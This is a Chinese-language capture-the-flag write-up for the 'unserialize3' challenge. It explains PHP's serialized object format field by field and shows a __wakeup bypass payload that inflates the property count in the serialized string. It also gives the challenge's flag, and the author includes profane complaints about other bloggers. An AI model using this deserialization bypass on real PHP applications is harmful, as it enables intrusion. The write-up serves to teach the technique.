zoukankan      html  css  js  c++  java
  • unserialize3

    unserialize3

    看了很多博客,讲的跟哈麻批一样,有的在装杯,有的在不懂装懂有的在人云亦云,原理也是一些陈词滥调,各个参数的意思是什么也没说,让人无法深入且透彻了解,没有实质性的讲解,只为flag而flag,就是一垃圾
    下面我们来讲讲反序列化漏洞,先来了解对象,对象里面有属性和值,序列化就是只保留对象里面的属性和值,生成一段字符串如下:

    O:1:"S":1:{s:4:"test";s:4:"1234";}

    劳资是真的讨厌有些懂也懂鸡巴不到,还在那写writeup或者博客,你写你的博客呢,像这种:

    就是我说的典型的蛤蟆皮,对于一个没有接触过反序列化的人来说看了什么感受,而且他也没讲清楚绕过原理,就真是为了flag而flag

    就拿上述序列化后的字符串来说,依次表示为:

    O:1:"S":1:{s:4:"test";s:4:"1234";}
    O:代表对象
    1:对象名字长度为一个字符
    S:对象名
    1:一个变量
    s:数据类型
    4:变量名字符串长度
    test:变量名
    s:数据类型
    4:变量值字符串长度
    1234:变量值
    

    观察题中源码:

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    

    易知有一个变量flag,值为111
    还有一个wakeup()函数,触发返回bad requests,那么只需要改变表示变量个数的值不为真实变量的个数的值即可,如:

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}必定触发bad requests

    将xctf后面的1(表示变量个数),改为2,或3,只要不是真实变量的个数的值,即1,都是可以的

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}就可以了

    得到flag:cyberpeace{8f5f22ec383ef3eaf0c5e3861ec55725}

  • 相关阅读:
    jQuery 1.6 正式版发布
    EXT.NET Toolbar GridPanel自动宽度和高度的解决方案,引入Viewport
    sql server 2005 数据库状态 变成 可疑的解决方案
    将远程图片读取到本地,并保存
    ^M 替换 VI
    php ctags
    闲来无聊,想了下秒杀、抢购实现方法
    mysql 'OR','IN',‘union’效率分析
    js 全选
    yii rule
  • 原文地址:https://www.cnblogs.com/sillage/p/13929558.html
Copyright © 2011-2022 走看看